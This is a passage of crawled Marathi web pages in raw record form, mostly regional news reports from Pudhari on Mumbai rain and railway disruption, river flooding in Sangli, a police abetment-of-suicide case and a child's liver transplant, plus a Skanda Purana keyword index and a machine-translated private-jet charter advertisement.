मुलींच्या वसतिगृहात लैंगिक शोषणाचे प्रकार दिवसेंदिवस वाढत असताना रिक्त महिला अधीक्षक पदांबाबत सरकार काय भूमिका घेणार, असा सवाल संतप्त पालकांनी केला आहे. या घटना रोखण्यासाठी तातडीने कठोर पावले उचलण्याची मागणीही पालकांनी केली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Mumbaikar-s-schedule-collapsed-For-the-heavy-rain/", "date_download": "2018-09-25T16:56:50Z", "digest": "sha1:WWMOAR762BUKD24CAQS2KGFDL62SGQZS", "length": 6560, "nlines": 37, "source_domain": "www.pudhari.news", "title": " मुंबईकरांचे वेळापत्रक कोलमडले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › मुंबईकरांचे वेळापत्रक कोलमडले\nमुंबई शहर व उपनगरात शनिवारी सकाळपासून जोरदार पाऊस झाल्याने प्रवाशांचे अतोनात हाल झाले. शनिवारी पहाटे पडलेल्या पावसामुळे सखल भागात पाणी तुंबले होते. ठाणे जिल्ह्यात पडलेल्या मुसळधार पावसामुळे मध्य रेल्वे विस्कळीत झाली. हार्बर मार्गावरील लोकलही 10 ते 15 मिनिटे विलंबाने धावत होत्या. पश्‍चिम रेल्वे मार्गावरील लोकलसेवा वेळापत्रकानुसार सुरू होती. पावसामुळे गाड्यांचा वेग मंदावला होता. त्यामुळे पश्‍चिम द्रुतगती महामार्गासह शहरातील प्रमुख रस्त्यांवर वाहतूक कोंडी झाली.\nमुंबईत सायंकाळनंतर पावसाचा जोर ओसरला असला तरी, रिपरिप कायम आहे. शनिवारी सकाळी काही भागांत पावसाच्या जोरदार सरी पडल्यामुळे सखल भागात पाणी तुंबले होते. पण समुद्राला भरती नसल्यामुळे पाण्याचा तातडीने निचरा झाला. पावसामुळे वातावरण धुरकट झाले होते. त्यामुळे वाहनांचा वेग मंदावला. परिणामी पश्‍चिम द्रुतगती महामार्ग, एस. व्ही. रोड, सायन ते लालबाग डॉ. बाबासाहेब आंबेडकर रोड, महम्मद अली रोड, लालबाग व जे जे. उड्डाणपूल एल. बी. एस. मार्ग, अंधेरी-कुर्ला रोड, सांताक्रूझ-चेंबूर लिंक रोड आदी प्रमुख रस्त्यांसह काळबादेवी, धारावी, दादर, माहिम, सांताक्रूझ, अंधेरी, गोरेगाव, मालाड, कुर्ला आदी भागातील लहान रस्त्यावरही वाहनांची गर्दी झाली होती.\nठाणे जिल्ह्यातील कल्याण, बदलापूर आदी भागात मुसळधार पाऊस पडल्यामुळे मध्य रेल्वेच्या उपनगरीय गाडीचे वेळापत्रकच कोलमडले. सुमारे 30 ते 40 मिनिटे विलंबाने धावणार्‍या लोकलमुळे प्रवाशांची स्टेशनवर गर्दी झाली होती.\nशहर व उपनगरात ठिकाठिकाणी झाडे पडल्यामुळे काही रस्त्यांवरील वाहतूक पर्यायी मार्गाने वळवण्यात आली. चेंबूर येथे सायंकाळी एसआरए इमारतीचा पाया खचला. सेना भवन रोड दादर येथे मेट्रो रेल्वे कामामुळे 18 इंचाची जलवाहिनी फुटली. त्यामुळे हजारो लिटर्स पाणी वाया गेले. दरम्यान जलवाहिनी दुरूस्ती करण्याचे काम तातडीने हाती घेण्यात आले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/due-to-technical-reason-central-railway-affected/", "date_download": "2018-09-25T17:13:14Z", "digest": "sha1:FPI5XBJNHXCTSNLBJ2C2MMGJJQ7DYFHM", "length": 3256, "nlines": 35, "source_domain": "www.pudhari.news", "title": " मध्ये रेल्वेची वाहतूक विस्कळीत | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › मध्ये रेल्वेची वाहतूक विस्कळीत\nमध्ये रेल्वेची वाहतूक विस्कळीत\nमुंबई : पुढारी ऑनलाईन\nकर्जतकडून सीएसटीकडे फास्ट लोकलमध्ये कांजूरमार्ग स्टेशनदरम्यान तांत्रिक बिघाड झाल्याने सीएसएमटीकडे जाणारी वाहतूक ठप्प झाली आहे. त्यामुळे मध्य रेल्वेवर वाहतुक विस्कळीत झाली असून लोकलच्या मोठ्या रांगा लागल्या आहेत.\nलोकलमधील तांत्रिक बिघाड दुरुस्तीसाठी युद्धपातळीवर प्रयत्न सुरू आहेत. सकाळीच तांत्रिक बिघाड झाल्याने प्रवाशांना त्रासाला सामोरे जावे लागले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Krishna-Varna-river-water-increased/", "date_download": "2018-09-25T17:23:53Z", "digest": "sha1:77ZUKSCLLM5DF7S2TTZXL7VJ3ZNGRKYV", "length": 6170, "nlines": 35, "source_domain": "www.pudhari.news", "title": " कृष्णा, वारणा नद्यांचे पाणी वाढले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › कृष्णा, वारणा नद्यांचे पाणी वाढले\nकृष्णा, वारणा नद्यांचे पाणी वाढले\nकोयना व चांदोली धरणांतून पाणी सोडणे सुरूच असल्याने कृष्णा, वारणा नद्यांचे पाणी वाढले आहे. नदीकाठाला दक्षतेचा इशारा जिल्हा प्रशासनाने दिला आहे. दरम्यान, जिल्ह्यात आज पावसाने उघडीप दिली.गेल्या दोन दिवसांपासून कोयना, महाबळेश्‍वर, नवजा येथे मोठ्या प्रमाणात पाऊस सुरू आहे. यामुळे धरणातील पाण्याची आवक वाढली आहे. पावसाळा अद्याप अद्यापही दीड महिना असल्याने पुढील येणारे पाणी गृहीत धरून कोयना धरणातून पाणी सोडण्यास सुरुवात केली आहे. मंगळवारपासून 27 हजार क्युसेक विसर्ग सुरू आहे. बुधवारी सायंकाळी तो 50 हजार क्युसेक करण्यात आला. गुरुवारी, शुक्रवारी यात काही प्रमाणात वाढ करण्यात आली. सद्यःस्थितीत कोयना धरणातून 43 हजार 612 क्युसेक पाणी नदीत सोडले जात आहे. दरम्यान, मूळगाव पूल पाण्याखाली गेल्याने या परिसरातील गावांचा संपर्क तुटला आहे.कोयना धरणाची पाणी साठवण क्षमता 105 टीएमसी इतकी आहे. धरणात 101.78 टीएमसी पाणीसाठा झाला आहे. त्यामुळेच आता धरणात ज्या पटीत पाण्याची आवक होत आहे, त्याच पटीत पूर्वेकडे कोयना नदीच्या पात्रात पाणी सोडण्याचा निर्णय\nसिंचन विभागाने घेतला आहे. त्याच पार्श्‍वभूमीवर गुरुवारी धरणाचे दरवाजे सहा फुटांनी उचलण्यात आले होते. मात्र शुक्रवारी पावसाचा जोर काहीसा मंदावला आणि त्यामुळे पाण्याची आवकही थोड्या प्रमाणात घटल्यानंतर हेच दरवाजे पाच फुटांवर स्थिर करण्यात आले आहेत. यामुळे कृष्णा नदीची पाणी पातळी वाढली आहे. गेल्या दोन दिवसात बहे, ताकारी, भिलवडी, सांगली, अंकली पुलाजवळ पाणी पातळी पाच ते सात फूट वाढली. आज दिवसभरात पाणी तीन ते चार फूट वाढले. काही ठिकाणी पाणी वाढल्याने अनेक शेतकर्‍यांच्या विद्युत मोटारी बुडल्या आहेत. तसेच पोटमळीतील पिके पाण्याखाली गेली आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%95%E0%A4%BE%E0%A4%B6%E0%A5%80%E0%A4%96%E0%A4%82%E0%A4%A1/word", "date_download": "2018-09-25T17:36:10Z", "digest": "sha1:4XA7NHOT4VEDJD6OZJDLJSTZWGBVTPTN", "length": 7362, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - काशीखंड", "raw_content": "\nएखाद्या वास्तुला वास्तुशास्त्रानुसार कोणतेच उपाय नसल्यास, मग कांहीे उपाय आहे काय\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - प्रस्तावना\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १ ला\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय २ रा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ३ रा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ४ था\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ५ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ६ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ७ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ८ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ९ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १० वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय ११ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १२ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १३ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १४ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १५ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १६ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १७ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\nकाशी खंड - अध्याय १८ वा\nस्कन्द पुराणातील काशी खंडात सुलक्षणा नावाच्या कन्येचे वर्णन आहे.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "https://www.wysluxury.com/inside-donald-trumps-private-jet/?lang=mr", "date_download": "2018-09-25T16:45:54Z", "digest": "sha1:ZPKLGSFIVS2QC2G6DRNAPHUKQFCTXWPJ", "length": 11965, "nlines": 92, "source_domain": "www.wysluxury.com", "title": "Inside Donald Trump's Private Jet", "raw_content": "कार्यकारी व्यवसाय किंवा माझ्या जवळ वैयक्तिक रिक्त लेग विमान हवाई वाहतूक उतारा\nरिक्त लेग जेट सनद\nजेट कंपनी सामील व्हा\nडोनाल्ड ट्रम्प च्या खाजगी जेट आत\nWysLuxury खासगी जेट एअर सनद उड्डाणाचा सेवा माझ्या जवळ\nडोनाल्ड ट्रम्प च्या खाजगी जेट आत\nInside Donald Trump Boeing 757 विमान मोठ्या व्यावसायिक विमान खासगी जेट उड्डाण चपळ, एक कॉर्पोरेट जेट आणि दोन व्यवसाय किंवा वैयक्तिक प्रवास हेलिकॉप्टर\nडोनाल्ड ट्रम्प, त्याचे विमान, त्यांचे हेलिकॉप्टर\nपासून किंवा घरगुती अमेरिका मला जवळ खाजगी जेट सनद उड्डाणाचा सेवा शोधा\nअलाबामा इंडियाना नेब्रास्का दक्षिण कॅरोलिना\nअलास्का आयोवा नेवाडा साउथ डकोटा\nऍरिझोना कॅन्सस न्यू हॅम्पशायर टेनेसी\nआर्कान्सा केंटकी न्यू जर्सी टेक्सास\nकॅलिफोर्निया लुईझियाना न्यू मेक्सिको युटा\nकोलोरॅडो मेन न्यू यॉर्क व्हरमाँट\nकनेक्टिकट मेरीलँड नॉर्थ कॅरोलिना व्हर्जिनिया\nडेलावेर मॅसेच्युसेट्स नॉर्थ डकोटा वॉशिंग्टन\nफ्लोरिडा मिशिगन ओहायो वेस्ट व्हर्जिनिया\nजॉर्जिया मिनेसोटा ओक्लाहोमा विस्कॉन्सिन\nहवाई मिसिसिपी ओरेगॉन वायोमिंग\nइलिनॉय मोन्टाना र्होड आयलंड\nhttps येथे://आपण जवळ आपल्या व्यवसायासाठी एकतर www.wysLuxury.com खाजगी जेट सनद उड्डाणाचा सेवा आणि लक्झरी विमान भाड्याने कंपनी, आणीबाणी किंवा शेवटच्या क्षणी रिक्त पाय वैयक्तिक प्रवास, आम्ही आपणास https जा करून आपल्या पुढील गंतव्य मदत करू शकता://आपण जवळ उतारा हवा वाहतूक www.wysluxury.com/location.\nआम्ही आपला अभिप्राय आवडेल संबंधित आमच्या सेवा\nरेटिंग अजून कुणीही बाकी. प्रथम व्हा\nआपले रेटिंग जोडा एक तारा क्लिक करा\n5.0 पासून रेटिंग 4 पुनरावलोकने.\nही ट्रिप तरल रोजी सेट केले होते आणि उत्तम प्रकारे साधले होते. अप्रतिम काम आणि एक उत्कृष्ट उड्डाण\nसर्व काही परिपूर्ण होते - सुधारण्यासाठी काहीही. खुप आभार\nमी अटलांटा खासगी जेट चार्टर ग्राहक सेवा प्रभावित करणे सुरू धन्यवाद सर्वकाही इतका - मी पुन्हा काम करण्यासाठी उत्सुक\nअनुभव सुरुवातीपासून शेवटपर्यंत प्रथम वर्ग होता.\nखासगी सनद जेट बुक\nसर्वोत्तम खाजगी जेट एअर सनद उड्डाणाचा सू फॉल्स, माझ्या जवळचे SD विमान भाड्याने\nWysLuxury खासगी जेट एअर सनद उड्डाणाचा सेवा माझ्या जवळ\nमंजूर Cardone खासगी जेट सनद उड्डाणाचा वि खरेदी विमानाचा प्लेन एव्हिएशन\nखाजगी जेट सनद खर्च\nफ 55 विक्रीसाठी खाजगी जेट\nGulfstream G550 खाजगी जेट आतील तपशील\nपासून किंवा कोलंबस खाजगी जेट सनद उड्डाणाचा, OH\nमाझ्या जवळचे खासगी जेट विमानाचा सनद उड्डाणाचा सेवा झटपट कोट\nशीर्ष 10 ख्यातनाम सर्व सुविधांनी युक्त खाजगी जेट्स\nपासून किंवा मला जवळ अलाबामा विमान भाड्याने खाजगी जेट सनद उड्डाणाचा\nआर्कान्सा खासगी जेट चार्टर उड्डाण खर्च गोलंदाज जागतिक एक्सप्रेस XRS लक्झरी चार्टर विमान उड्डाण गोलंदाज जागतिक एक्सप्रेस XRS विमान चार्टर भाड्याने देण्याची सेवा सनद एक खाजगी जेट ट्यूसॉन सनद एक खाजगी जेट विस्कॉन्सिन Chartering खाजगी जेट वायोमिंग सनद खाजगी जेट विस्कॉन्सिन कॉर्पोरेट जेट मेम्फिस सनदी कुत्रा फक्त उड्डाणे घेणारे हवाई परिवहन फोर्ट माइस खासगी जेट चार्टर उड्डाण खर्च आखात प्रवाह 5 विमान चार्टर आखात प्रवाह 5 खाजगी विमानाचा सनदी आखात प्रवाह 5 खासगी विमान चार्टर आखात प्रवाह 5 खाजगी विमान चार्टर Gulfstream G550 Gulfstream G550 अंतर्गत Gulfstream व्ही रिक्त पाय जेट चार्टर वैयक्तिक जेट चार्टर ट्यूसॉन पाळीव प्राणी जेट्स खर्च खाजगी जेट्स वर पाळीव प्राणी खाजगी विमानाचा मेम्फिस सनदी खाजगी विमानाचा चार्टर ट्यूसॉन खासगी विमान भाड्याने मेम्फिस खासगी विमान भाड्याने ट्यूसॉन खाजगी जेट चार्टर आर्कान्सा खाजगी जेट चार्टर कंपनी डेलावेर खाजगी जेट चार्टर कंपनी सॅन दिएगो खाजगी जेट चार्टर कंपनी वायोमिंग खाजगी जेट चार्टर उड्डाण डेलावेर खाजगी जेट चार्टर उड्डाण सॅन दिएगो खाजगी जेट चार्टर फोर्ट माइस खाजगी जेट चार्टर पाळीव प्राणी अनुकूल खाजगी जेट चार्टर डेलावेर दर खाजगी जेट चार्टर फ्लोरिडा दर खाजगी जेट चार्टर किंमत सॅन दिएगो खाजगी जेट चार्टर टेनेसी दर खाजगी जेट चार्टर दर फ्लोरिडा खाजगी जेट चार्टर दर टेनेसी खाजगी जेट चार्टर सेवा डेलावेर खाजगी जेट चार्टर सेवा सॅन दिएगो भाडे वायोमिंग खाजगी जेट्स खासगी विमान चार्टर विस्कॉन्सिन भाडे मेम्फिस खाजगी विमान एक खाजगी जेट वायोमिंग भाड्याने विस्कॉन्सिन खासगी जेट चार्टर उड्डाण खर्च\nकॉपीराइट © 2018 https://www.wysluxury.com- या वेबसाइट वर माहिती फक्त सामान्य माहिती उद्देशांसाठी आहे. सर्व ठिकाणी वैयक्तिकरित्या मालकीच्या व कायर्रत आहेत. - सामान्य दायित्व आणि कामगार नुकसान भरपाई. आपल्या क्षेत्रातील आपल्या स्थानिक व्यावसायिक लोकप्रतिनिधी सेवा संपर्कात मिळवा ****WysLuxury.com नाही प्रत्यक्ष किंवा अप्रत्यक्ष आहे \"हवा वाहक\" आणि स्वत: च्या किंवा कोणत्याही विमान काम करत नाही,.\nएक मित्र या पाठवा\nआपला ई - मेल प्राप्तकर्ता ईमेल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00350.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Crime-against-three-of-police-sub-inspector-in-ahamadnagar/", "date_download": "2018-09-25T17:37:23Z", "digest": "sha1:E7OIOZU7QK7JHWFSXNWR3GSVYVPX5KZH", "length": 5716, "nlines": 37, "source_domain": "www.pudhari.news", "title": " पोलिस उपनिरीक्षकासह तिघांविरुद्ध गुन्हा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › पोलिस उपनिरीक्षकासह तिघांविरुद्ध गुन्हा\nपोलिस उपनिरीक्षकासह तिघांविरुद्ध गुन्हा\nपोलिस उपनिरीक्षक सुभाष वाघेला यांच्यासह तिघांविरुद्ध आत्महत्येस प्रवृत्त केल्याचा गुन्हा दाखल करण्यात आला आहे. भिंगारमधील युवकाला दमदाटी करून आत्महत्येस प्रवृत्त केल्याचा आरोपावरून हा गुन्हा नोंदविण्यात आला आहे. 16 एप्रिल रोजी ही घटना घडली होती.\nगुन्हा दाखल झालेल्यांमध्ये शहर वाहतूक शाखेचे पोलिस उपनिरीक्षक सुभाष नानजी वाघेला, दीपक सुभाष वाघेला (दोघे रा. प्रबुद्धनगर, आलमगीर, भिंगार), अभिलेख धमेंद्र वाघेला (रा. नेहरू कॉलनी, भिंगार) यांचा समावेश आहे. महेश ओमप्रकाश कंडोरे (रा. शाहू महाराज हौसिंग सोसायटी) हे मयताचे नाव आहे.\nयाबाबत पोलिसांकडून समजलेली माहिती अशी की, महेश कंडोरे यांना 20 मार्च 2018 रोजी अभिलेख वाघेला व दीपक वाघेला यांनी विनाकारण शिवीगाळ करून मारहाण केली होती. तसेच जिवे मारण्याचीही धमकी दिली होती. त्यानंतर पोलिस उपनिरीक्षक सुभाष वाघेला यांनी पुन्हा धमकावल्यामुळे महेश हे तणाव व दबावाखाली होते. मानसिक दबावात महेश कंडोरे यांनी 16 एप्रिल रोजी रात्री साडेसात ते पावणेअकरा वाजण्याच्या दरम्यान राहत्या घरात गळफास घेऊन आत्महत्या केली.\nउपनिरीक्षक वाघेला, त्यांचा मुलगा व पुतण्याकडून झालेली मारहाण, धमकीमुळे मानसिक दबावातून महेश कंडोरे यांनी आत्महत्या केल्याची फिर्याद मयताचे भाऊ दीपक ओमप्रकाश कंडोरे यांनी दिली. त्यावरून भिंगार कँप पोलिस ठाण्यात आत्महत्येस प्रवृत्त केल्याचा गुन्हा दाखल करण्यात आलेला आहे. पुढील तपास पोलिस उपनिरीक्षक गजानन करेवाड हे करीत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00351.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Liver-transplant-surgery-on-a-one-year-infant-in-apollo-hospital-mumbai/", "date_download": "2018-09-25T17:14:27Z", "digest": "sha1:WWPW7DLWHTFDMODN6DMOC3SLKVU4IAII", "length": 9644, "nlines": 39, "source_domain": "www.pudhari.news", "title": " 'अपोलो'त चिमुरड्याला बसविले मावशीचे लिव्‍हर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › 'अपोलो'त चिमुरड्याला बसविले मावशीचे लिव्‍हर\n'अपोलो'त चिमुरड्याला बसविले मावशीचे लिव्‍हर\nनवी मुंबई : प्रतिनिधी\nनवी मुंबईतील अपोलो रुग्‍णालयाच्या डॉक्‍टरांनी एका वर्षाच्या चिमुरड्यावर यकृत (लिव्‍हर) प्रत्यारोपनाची यशस्‍वी शस्‍त्रक्रिया केली आहे. राम मिस्‍त्री असे चिमुरड्याचे नाव असून त्याला मावशीचे यकृत बसविले आहे. रामला बायलरी अट्रॅशिया हा दुर्धर आजार झाल्याने त्याचे यकृत निकामी झाले होते. दिल्‍ली आणि चेन्‍नई वगळता अशी अवघड शस्‍त्रक्रिया भारतात इतर ठिकाणी होत नाहीत. मात्र, आता मुंबईही लहान मुलांच्या अवयव प्रत्यारोपनाचे केंद्र बनले आहे.\nरामचा जन्म झाल्यानंतर त्याला काही दिवसांमध्येच बायलरी अट्रॅशिया या विकाराची बाधा झाली. त्यामुळे दिवसेंदिवस त्याची प्रकृती ढासळली. जन्मानंतर काही महिन्यातच त्याचे यकृत निकामी झाले. त्यामुळे यकृत प्रत्यारोपणाशिवाय दुसरा कोणताही पर्याय त्याच्या पालकांसमोर नव्हता. लहान मुलांच्या यकृताचे प्रत्यारोपण फक्त दिल्ली आणि चेन्नई येथेच होते. या शस्त्रक्रियेचा खर्च सुमारे ३५ लाख रुपये असल्याने तो मिस्त्री कुटुंबाच्या आवाक्याबाहेर होता. त्यांनी उपचारासाठी नवी मुंबई गाठली. अपोलो रुग्णालयाने पालकांच्या आर्थिक परिस्थितीचा विचार न करता प्रथम उपचार सुरू केले.\nरामची मावशी दिव्या हिचे यकृत रामला बसविले. या शस्त्रक्रियेसाठी साडेसोळा लाख रुपये खर्च आला. त्यामध्येही सीएसआर योजनेच्या माध्यमातून अपोलो रुग्णालयाने दोन लाख रुपये माफ केले. त्यामुळे शस्त्रक्रिया फक्त साडेचौदा लाख रुपयांमध्ये झाली. रामच्या आई-वडिलांची परिस्थिती सर्वसाधारण असल्याने रुग्णालय व्यवस्थापनाने मदतीचे आवाहन केले. त्याला प्रतिसाद देत अनेक स्वयंसेवी संस्था पुढे आल्या आणि मिस्त्री कुटुंबावर या शस्त्रक्रियेचा कोणताही आर्थिक भार पडला नाही. ही शस्त्रक्रिया यशस्वी करण्यासाठी यकृत प्रत्यारोपण विभागाचे प्रमुख डॉ. डेरिअस मिर्झा, नरेंद्र त्रिवेदी, विजय येवले, आबा नागराल यांच्या पथकाने विशेष परिश्रम घेतले.\nयकृत प्रत्यारोपणाच्या शस्त्रक्रियेसाठी युरोपियन राष्ट्रांमध्ये सुमारे ६५ लाख रुपये खर्च येतो. हिच शस्त्रक्रिया दिल्ली आणि चेन्नई येथे करायची असेल तर सुमारे ३५ लाख रुपये मोजावे लागतात. अपोलो रुग्णालयात ही शस्त्रक्रिया साडेसोळा लाख रुपयांमध्ये होत आहे. अवयव प्रत्यारोपणाचा परवाना मिळाल्यानंतर आम्ही आतापर्यंत २१ रुग्णांवर लिव्हर प्रत्यारोपणाच्या शस्त्रक्रिया केल्या असून त्यामध्ये ६ लहान मुलांचा समावेश आहे. या लहान मुलांपैकी चार मुले गरीब घरातील होती. त्यांच्यासाठी सामाजिक संस्थांच्या मदतीने रुग्णालयाने निधीही उपलब्ध केला आहे. गोरगरीबांना अवयव प्रत्यारोपण करण्यासाठी समाजातील दानशूर व्यक्तींनी पुढे यावे, असे आवाहन डॉ. मिर्झा यांनी केले आहे.\nअपोलो रुग्णालय हे नवी मुंबईमध्ये आहे. त्यामुळे मुंबईमधील सिद्धिविनायक, लालबागचा राजा यांच्यासह अन्य ट्रस्टची मदत अपोलो रुग्णालयात उपचार घेणार्‍या रुग्णांना मिळत नाही. राज्यामध्ये लहान मुलांच्या प्रत्यारोपणाच्या शस्त्रक्रिया फक्त अपोलो रुग्णालयात होतात. त्यामुळे मुंबईतील ट्रस्ट आणि राज्य सरकारच्या आरोग्य विभागानेही लहान मुलांच्या शस्त्रक्रियेसाठी मदत करणे गरजेचे आहे, असे मत यावेळी बालरोगतज्ज्ञ विजय येवले यांनी व्यक्त केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून 